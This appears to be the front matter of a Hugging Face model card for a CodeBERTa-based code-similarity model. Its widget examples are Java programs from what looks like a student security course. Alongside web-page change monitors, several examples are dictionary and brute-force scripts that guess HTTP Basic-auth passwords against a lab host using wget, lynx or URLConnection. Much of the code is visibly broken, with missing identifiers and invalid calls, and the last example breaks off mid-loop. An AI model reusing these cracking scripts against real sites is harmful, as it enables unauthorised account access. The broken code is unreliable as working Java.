| --- |
| tags: |
| - sentence-transformers |
| - sentence-similarity |
| - feature-extraction |
| - generated_from_trainer |
| - dataset_size:33411 |
| - loss:BatchAllTripletLoss |
| base_model: huggingface/CodeBERTa-small-v1 |
| widget: |
| - source_sentence: "\n\n\npublic class PasswordGen {\n \n private int iLastSeed\ |
| \ = 0;\n private int iPasswordLength = 3;\n private String strPassword;\n\ |
| \ \n \n public PasswordGen() {\n strPassword = \"\";\n }\n\ |
| \ \n public boolean setSeed(int iSeedVal) {\n iLastSeed = iSeedVal;\n\ |
| \ return true;\n }\n \n public String getPassword() {\n \ |
| \ return strPassword;\n }\n \n public String getPassword(int iSeed)\ |
| \ {\n int iRemainder, iAliquot, i;\n int arrChars[];\n boolean\ |
| \ fDone;\n \n \n \n arrChars = new int[iPasswordLength];\n\ |
| \ for(i = 0; i<iPasswordLength; i++)\n arrChars[i] = 0;\n\ |
| \n fDone = false;\n iAliquot = iSeed;\n i=0;\n while(!fDone)\ |
| \ {\n iRemainder = iAliquot % 52;\n if(iRemainder == 0)\ |
| \ iRemainder=52;\n iAliquot = iAliquot / 52;\n \n \ |
| \ arrChars[i] = iRemainder;\n if(i<iPasswordLength) i++;\n \ |
| \ if(iAliquot == 0)\n fDone = true;\n }\n \ |
| \ \n strPassword = convertPassword(arrChars);\n \n return\ |
| \ strPassword;\n }\n \n public String getNextPassword() {\n iLastSeed++;\n\ |
| \ strPassword = getPassword(iLastSeed);\n return strPassword;\n\ |
| \ }\n \n private String convertPassword(int[] chars) {\n String strPwd;\n\ |
| \ int i;\n \n strPwd = \"\";\n \n for(i=0;\ |
| \ i<iPasswordLength; i++)\n {\n \n if(chars[i] !=\ |
| \ 0)\n {\n if (chars[i] < 27)\n {\n \ |
| \ strPwd += new Character((char)(chars[i]+64)).toString();\n\ |
| \ }\n else\n {\n \ |
| \ strPwd += new Character((char)(chars[i]+70)).toString();\n \ |
| \ }\n }\n }\n return strPwd;\n }\n}\n" |
| sentences: |
| - "import java.io.*;\n\n\npublic class WatchDog\n{\npublic static void main (String[]\ |
| \ args)\n{ String isdiff = new String();\n String[] cmd1 = {\"//sh\"\ |
| ,\"-c\",\"diff newfile.html oldfile.html > diff.txt\"};\n String[] cmd2\ |
| \ = {\"//sh\",\"-c\",\"mailx -s \\\"Web Changed\\\" \\\"@cs.rmit.edu.\\\" < diff.txt\"\ |
| };\n\n try {\n\n\n while(true)\n {\n Runtime.getRuntime().exec(\"\ |
| wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n Thread.sleep(43200000);\n\ |
| \ Thread.sleep(43200000);\n Runtime.getRuntime().exec(\"\ |
| wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\ |
| \ Runtime.getRuntime().exec(cmd1);\n Thread.sleep(2000);\n\ |
| \ BufferedReader diff = new BufferedReader(new FileReader(\"diff.txt\"\ |
| ));\n if ((isdiff=diff.readLine()) != null)\n {\n \ |
| \ Runtime.getRuntime().exec(cmd2);\n System.out.println(\"\ |
| Change Detected & Email Send\");\n }\n diff.print();\n\ |
| \ }\n }\n\n catch (IOException err)\n {\n \ |
| \ err.printStackTrace();\n }\n\n catch (InterruptedException\ |
| \ err)\n {\n err.printStackTrace();\n }\n\n}\n\n\n}" |
| - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\nimport java.*;\n\n\ |
| \npublic class WatchDog {\n\n\npublic static final int interval = 79200000;\n\n\ |
| public static void main(String[] args) {\n WatchDog wd = new WatchDog();\n\ |
| \ Thread thread = new Thread();\n URLConnection conn = null;\n DataInputStream\ |
| \ data = null;\n DataInputStream in = null;\n String line;\n String lines;\n\ |
| \ String buffer = new String();\n String buffers = new String();\n String\ |
| \ url = new String(\"http://www.cs.rmit.edu./students/\");\n boolean change;\n\ |
| \ttry{\n\tURL myurl = new URL(url);\n conn = myurl.openConnection();\n\ |
| \ conn.connect();\n Object content = null;\n \n System.out.println(\"\ |
| Connection opened......\");\n System.out.println(\"Retrieving data from\ |
| \ URL\");\n data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n\ |
| \ System.out.println(\" data from the URL......\");\n content =\ |
| \ myurl.getContent();\n BufferedReader reader = null;\n\treader = new BufferedReader(new\ |
| \ InputStreamReader((InputStream) content));\n\n \n while ((line\ |
| \ = data.readLine()) != null)\n\n {\n System.out.println(line);\n\ |
| \ FileWriter outnew = new FileWriter(\"watchdogresult.html\");\n \ |
| \ outnew.write(line);\n }\n System.out.println(\"Waiting for\ |
| \ any change....\");\n thread.sleep(79200000);\n conn = myurl.openConnection();\n\ |
| \ conn.connect();\n in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n\ |
| \ while ((lines = in.readLine()) != null)\n {\n\n\t FileWriter newf\ |
| \ = new FileWriter(\"watchdogresult.tmp\");\n newf.write(buffers);\n \ |
| \ }\n\tchange = true;\n if(change);\n else{\n\tchange = false;\n\ |
| \ \n\twd.mail();\n\t}\n}\n catch (InterruptedException e) {}\n catch (IOException\ |
| \ e) {\n e.printStackTrace();\n String r = new String(e.getMessage());\n\ |
| \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n }\n\ |
| \ else\n System.out.println(\"Other problems\");\n }\n }\n\n\npublic\ |
| \ void mail(){\n\n try {\n\n String from = new String(\"Watchdog Reporter\"\ |
| );\n String email = new String(\"@cs.rmit.edu.\");\n String subject\ |
| \ = new String(\" is a change in \");\n\n \n URL u = new URL(\"mailto:\"\ |
| \ + email);\n URLConnection c = u.openConnection();\n c.setDoInput(false);\n\ |
| \ c.setDoOutput(true);\n System.out.println(\"Connecting...\");\n \ |
| \ System.out.flush();\n c.connect();\n PrintWriter out =\n \ |
| \ new PrintWriter(new OutputStreamWriter(c.getOutputStream()));\n\n \n \ |
| \ out.println(\"From: \\\"\" + from + \"\\\" <\" +\n System.getProperty(\"\ |
| user.name\") + \"@\" +\n InetAddress.getLocalHost().getHostName()\ |
| \ + \">\");\n out.println(\": \" );\n out.println(\"Subject: \" + subject);\n\ |
| \ out.println(); \n\n \n String line = new String(\"Watchdog observe\ |
| \ that is a change in the web .\");\n out.close();\n System.out.println(\"\ |
| Message sent.\");\n System.out.flush();\n }\n catch (Exception e) {\n\ |
| \ System.err.println(e);\n }\n\n }\n\n}\n\n" |
| - "\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\n\nimport org.apache.commons.httpclient.HttpClient;\n\ |
| import org.apache.commons.httpclient.UsernamePasswordCredentials;\nimport org.apache.commons.httpclient.cookie.CookiePolicy;\n\ |
| import org.apache.commons.httpclient.methods.GetMethod;\n\n\n\n\npublic class\ |
| \ Dictionary{\n static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(\"\ |
| logonSite\");\n static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\ |
| logonPort\")).intValue();\n\tstatic final String cad = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz\"\ |
| ;\n\n static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\ |
| useProxyServer\")).intValue();\n static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\ |
| proxyPort\")).intValue();\n\n static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty(\"\ |
| proxyServer\");\n static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty(\"\ |
| proxyUserName\");\n static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty(\"\ |
| proxypassword\");\n\n\n\n static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(\"\ |
| getMethod\");\n static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\ |
| numberOfGetsBeforeReleaseConnection\")).intValue();\n\n\n public Dictionary()\ |
| \ {\n super();\n }\n\n\n\n\n\n public static void main(String[] args)\ |
| \ throws Exception {\n\n\t\tString statusLine = \" \";\n\t\tint count = 0;\n\t\ |
| \tint divValue = 0;\n\n\t\tString userName = \"\";\n\t\tString password = \"\"\ |
| ;\n\n\n HttpClient client = new HttpClient();\n\n if (USE_PROXY_SERVER\ |
| \ == 1) {\n \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n\ |
| \ \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME,\ |
| \ PROXY_PASSWORD));\n\n }\n client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n\ |
| \ client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER,\ |
| \ \"http\");\n GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\ |
| \n\n\n\t\t\n \tBufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(\"\ |
| dictionaryFile\")));\n\n\t\twhile ((password = wordFile.readLine()) != null) {\n\ |
| \n\n\t\t\tif (validateWord(password)) {\n\n\t\t\t\tclient.getState().setCredentials(null,\ |
| \ null, new UsernamePasswordCredentials(userName, password));\n\t\t\t\t++count;\n\ |
| \t\t\t\tSystem.out.println(\" Counter \" + count + \" Password \" + password);\n\ |
| \n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\t\t\t\tif (divValue\ |
| \ == 0) {\n\n\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count + \" Div Value:\ |
| \ \"+ divValue+ \" Releasing the connection and getting new one\");\n\t\t\t\t\t\ |
| getMethod.releaseConnection();\n\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod\ |
| \ = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t}\n\n\t\t client.executeMethod(getMethod);\n\ |
| \n\t\t statusLine = getMethod.getStatusLine().toString();\n\n\n\t\t\t\t\ |
| \n\t\t\t\t\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\n\ |
| \n\t\t\t\t\tSystem.out.println(\"Found the user name and password for the site.\ |
| \ The username is: \"+ userName+ \" and the password is: \"+ password);\n\n\n\t\ |
| \t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\n\n\t\t\t}\n\n\t\t}\n\n\t\tSystem.out.println(\"\ |
| Could not find the password!\");\n\n }\n\n\n\n\t\n\tpublic static boolean validateWord(String\ |
| \ str) {\n\n\t\n\n\n\t\tboolean isValid = false;\n\n\t\t\n\t\tif (str.length()\ |
| \ > 3) {\n\t\t\treturn isValid;\n\t\t}\n\n\t\tfor (int i = 0; i < str.length();\ |
| \ i++) {\n\t\t\tfor (int j = 0; j < cad.length(); j++) {\n\t\t\t\tif (str.charAt(i)\ |
| \ == cad.charAt(j)) {\n\t\t\t\t\tisValid = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\ |
| \t\t\t\telse\n\t\t\t\t\tisValid = false;\n\t\t\t}\n\t\t\tif (!isValid)\n\t\t\t\ |
| \tbreak;\n\t\t}\n\t\treturn isValid;\n\t}\n\n\n}\n" |
| - source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\ |
| \npublic class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\ |
| \t Runtime rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\ |
| \ String mesg1 = new String();\n String subject = new String(\"\ |
| Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \ |
| \ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\ |
| \ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\ |
| \ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\ |
| \t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\ |
| \t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \ |
| \ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ |
| \ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ |
| md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ |
| \ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ |
| \ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ |
| \t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ |
| \ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ |
| \ \n if(initialmd5.equals(presentmd5))\n \ |
| \ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ |
| \t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ |
| );\n System.out.println(\" is different\"); \n \ |
| \ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ |
| \ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ |
| rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ |
| }\t\t\n" |
| sentences: |
| - "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport\ |
| \ javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\t\ |
| public static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\ |
| \tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\t\ |
| Runtime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\ |
| \ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\ |
| \ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\ |
| );\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\ |
| );\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\ |
| \n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
| ;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\ |
| \n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\ |
| \t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\ |
| \t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\ |
| \t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\ |
| \ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\ |
| \tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \ |
| \ catch (NullPointerException ex)\n {\n System.out.println(word);\n\ |
| \ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\ |
| \t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\ |
| \ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\ |
| \ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\ |
| \t}\n}" |
| - "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends\ |
| \ Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin)\ |
| \ {\n password = pwdin;\n }\n \n protected PasswordAuthentication\ |
| \ getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\ |
| \",pwd.toCharArray());\n }\n}\n" |
| - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.IOException;\nimport\ |
| \ java.util.*;\nimport java.*;\n\n\npublic class BruteForce {\n public static\ |
| \ void main (String[] args) throws Exception {\n int maxChar = 26, counter=0,\ |
| \ x =0, attempt =0 ;\n String guess = new String();\n String pass, inputLine;\n\ |
| \ String letter[] = {\"\", \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"\ |
| , \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\",\n \ |
| \ \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\"\ |
| , \"z\" , \"A\", \"B\", \"C\", \"D\", \"E\"\n , \"F\", \"\ |
| G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"\ |
| R\", \"S\", \"T\", \"U\", \"V\",\n \"W\", \"X\", \"Y\", \"\ |
| Z\"};\n\n boolean flag=false;\n\n System.out.println(System.currentTimeMillis()/1000);\n\ |
| \n for (int i=0; i<maxChar ; i++){\n for (int\ |
| \ j=0 ; j<maxChar ; j++){\n for (int k=0 ; k<maxChar ; k++){\n\ |
| \ guess = letter[i]+letter[j]+letter[k];\n \ |
| \ attempt++;\n System.out.println(guess);\n\ |
| \ pass = \":\" + guess;\n \ |
| \ String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());\n\ |
| \ try{\n URL u =\ |
| \ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \ |
| \ URLConnection yc = u.openConnection();\n \ |
| \ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \ |
| \ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\ |
| \ while ((inputLine = in.readLine()) != null)\n\ |
| \ System.out.println(inputLine);\n \ |
| \ in.print();\n System.out.println(guess);\n\ |
| \ System.out.println(System.currentTimeMillis()/1000);\n\ |
| \ System.out.println(\" of attempt: \"+attempt);\n\ |
| \ System.exit(0);\n\n \ |
| \ }catch(IOException e){ }\n }\n }\n\ |
| \ }\n }\n}" |
| - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\ |
| \ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\ |
| \npublic class Dictionary \n{\n String uname = \"\";\n String pword = \"null\"\ |
| ;\n Vector v = new Vector();\n int runTime;\n public void doConnect(String\ |
| \ connect, int num)\n {\n String = connect;\n \n try\n {\n \ |
| \ URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\ |
| \ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\ |
| \ i<v.size(); i++)\n\t {\n\t pword = (String)v.elementAt(i);\n\t \ |
| \ String up = uname + \":\" + pword;\n String encoding;\n \ |
| \ try\n\t\t{\n\t\t connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder)\ |
| \ Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t encoding = encoder.encode\ |
| \ (up.getBytes());\n\t\t \n }\n\t catch (Exception ex) \n \ |
| \ {\n\t\t Base64Converter encoder = new Base64Converter();\n\t\t System.out.println(\"\ |
| in catch\");\n encoding = encoder.encode(up.getBytes());\n \ |
| \ }\n\t connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n\ |
| \ connection.connect();\n if(connection instanceof HttpURLConnection)\n\ |
| \t {\n\t HttpURLConnection httpCon=(HttpURLConnection)connection;\n\ |
| \ if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\ |
| \t\t {\n\t\t System.out.println(\"Not authorized - check for details\" + \"\ |
| \ -Incorrect Password : \" + pword);\n\t doConnect(i, i+1);\n\t \ |
| \ }\n\t\telse\n\t\t { \n\t\t System.out.println(\"\\n\\n\\nPassword for HTTP\ |
| \ Secure Site by Dictionary Attack:\");\n\t System.out.println( +\"\\tPassword\ |
| \ : \"+ pword);\n\n runTime = System.currentTimeMillis() - runTime;\ |
| \ \n System.out.println(\"Time taken crack password (in seconds)\"\ |
| +\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken crack password : \"+ i);\n\t \ |
| \ System.exit(0);\n\t }\n\t }\n\t }\n }\n }\n catch(Exception\ |
| \ ex)\n {\n ex.printStackTrace();\n }\n }\n public Vector getPassword()\n\ |
| \ {\n try\n {\n ReadFile rf = new ReadFile();\n rf.loadFile();\n\ |
| \ v = rf.getVector();\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n\ |
| \ }\n return v;\n } \n public void setTimeTaken( int timetaken)\n {\n\ |
| \ runTime = timetaken;\n } \n public static void main ( String args[] )\ |
| \ throws IOException \n {\n \n runTime1 = System.currentTimeMillis();\ |
| \ \n Dictionary newDo = new Dictionary();\n newDo.setTimeTaken(runTime1);\n\ |
| \ newDo. getPassword();\n String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
| ;\n newDo.doConnect(site, 0);\n \n } \n \n}\n\nclass Base64Converter\n\ |
| \ {\n \n public final char [ ] alphabet = {\n 'A',\ |
| \ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M',\ |
| \ 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\ |
| \ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g',\ |
| \ 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's',\ |
| \ 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n\ |
| \ '4', '5', '6', '7', '8', '9', '+', '/' }; \n \n \n public\ |
| \ String encode ( String s )\n {\n return encode ( s.getBytes\ |
| \ ( ) );\n }\n \n public String encode ( byte [ ] octetString\ |
| \ )\n {\n int bits24;\n int bits6;\n \n\ |
| \ char [ ] out\n = new char [ ( ( octetString.length\ |
| \ - 1 ) / 3 + 1 ) * 4 ];\n \n int outIndex = 0;\n int\ |
| \ i = 0;\n \n while ( ( i + 3 ) <= octetString.length ) {\n\ |
| \ \n bits24=( octetString [ i++ ] & 0xFF ) <<\ |
| \ 16;\n bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n \n \ |
| \ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [\ |
| \ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ |
| \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \ |
| \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\ |
| \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\ |
| \ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\ |
| \ \n if ( octetString.length - i == 2 )\n {\n \ |
| \ \n bits24 = ( octetString [ i ] & 0xFF ) <<\ |
| \ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \ |
| \ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\ |
| \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\ |
| \ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \ |
| \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\ |
| \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\ |
| \ ] = '=';\n }\n else if ( octetString.length - i ==\ |
| \ 1 )\n {\n \n bits24 = ( octetString\ |
| \ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\ |
| \ out [ outIndex++ ] = alphabet [ bits6 ];\n \ |
| \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ |
| \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\ |
| \ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\ |
| \ return new String ( out );\n }\n }\n \n \n" |
| sentences: |
| - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\ |
| public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\ |
| \ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \ |
| \ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\ |
| \ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\ |
| \ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\ |
| \\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\ |
| \\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \ |
| \ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\ |
| \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\ |
| :\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \ |
| \ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ |
| \n while((line=bf.readLine())!=null)\n {\n flag=1;\n \ |
| \ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\ |
| The username is: \"+username+\" The password is: \"+passwd);\n break;\n\ |
| \ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\ |
| \ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\ |
| \ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\ |
| public static void main(String args[]) throws Exception\n{\n Dictionary ds =\ |
| \ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}" |
| - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\ |
| {\n private PrintWriter outputStream= null;\n private String filename;\n \ |
| \ private FileWriter fw;\n\n public storeNewFile(String fname)\n {\n \ |
| \ try\n {\n filename = fname;\n outputStream=new PrintWriter(new\ |
| \ FileOutputStream(filename));\n }\n catch(FileNotFoundException e)\n\ |
| \ {\n\t System.err.println(\"File \"+filename+\" was not found\");\n \ |
| \ }\n catch(IOException e)\n {\n System.err.println(\"Error\ |
| \ \");\n }\n }\n public void getStringW(StringWriter sw)\n {\n \ |
| \ outputStream.print(sw.toString());\n }\n\n public void closeStream()\n \ |
| \ {\n outputStream.write();\n }\n\n public void translogFile(String\ |
| \ result)\n {\n String fileName = \"TransactionLog.txt\";\n \t try{\n\t\ |
| \ fw=new FileWriter(fileName,true);\n\t fw.write(result);\n\t fw.write('\\\ |
| n');\n\t fw.print();\n \t System.out.println(\"Saved sucessfully\");\n\ |
| \ }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\ |
| );\n }\n }\n}" |
| - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\n\ |
| {\n public String[] passwds;\n public int passwdNum;\n public static void main(String[]\ |
| \ args) throws IOException\n {\n Dictionary dic=new Dictionary();\n dic.doDictionary();\n\ |
| \ System.exit(1);\n }\n\n void doDictionary() throws IOException\n {\n Runtime\ |
| \ rt=Runtime.getRuntime();\n passwds=new String[32768];\n passwdNum=0;\n\n \ |
| \ time1=new Date().getTime();\n \n try\n {\n\t\tFile f = new File (\"words\"\ |
| );\n\t\tFileReader fin = new FileReader (f);\n\t\tBufferedReader buf = new BufferedReader(fin);\n\ |
| \t\tpasswds[0]=\"00\";\n\t\tSystem.out.println(\" loading words....\");\n\t\t\n\ |
| \t\t{\n\t\t passwds[passwdNum]=buf.readLine();\n\t\t\t passwdNum++;\n\t\t}while(passwds[passwdNum-1]!=null);\n\ |
| \t\tSystem.out.println(\"Finish loading words.\");\n } catch (FileNotFoundException\ |
| \ exc) {\n System.out.println (\"File Not Found\");\n } catch (IOException\ |
| \ exc) {\n System.out.println (\"IOException 1\");\n } catch (NullPointerException\ |
| \ exc) {\n\t System.out.println (\"NullPointerException\");\n }\n\n\t System.out.println(\"\ |
| \ cracking....\");\n\t for(int i=0;i<passwdNum;i++)\n\t {\n\t\ttry\n\t\t{\n\t\t\ |
| \t\n\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+passwds[i]+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
| );\n\t\t\t\n\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\ |
| \t\t\tp.destroy();\n\n\t\t\tif(ln!=null)\n\t\t\t\n\t\t\tif(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\ |
| \t\t\t{\n\t\t\t System.out.println(\"Finish cracking.\");\n\t\t\t System.out.println(ln);\n\ |
| \t\t\t System.out.println(\"Password is \"+passwds[i]);\n\t\t\t break;\n\t\t\t\ |
| }\n\t\t} catch (FileNotFoundException exc) {\n\t\t\t\ti--;\n\t\t} catch (IOException\ |
| \ exc) {\n\t\t\t\ti--;\n\t\t} catch (NullPointerException exc) {\n\t\t\t\ti--;\n\ |
| \t\t}\n\n\t }\n\n time2=new Date().getTime();\n System.out.println(\"costs\ |
| \ \"+(time2-time1)+\" milliseconds\");\n }\n\n}" |
| - source_sentence: "import java.io.*;\nimport java.net.*;\n\npublic class BruteForce\ |
| \ {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n\ |
| \ brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new\ |
| \ char[3];\nString password;\nString username=\"\";\nString auth_data;\nString\ |
| \ server_res_code;\nString required_server_res_code=\"200\";\nint cntr=0;\n\n\ |
| try {\n\nURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\nURLConnection\ |
| \ conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91)\ |
| \ { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++)\ |
| \ {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\ |
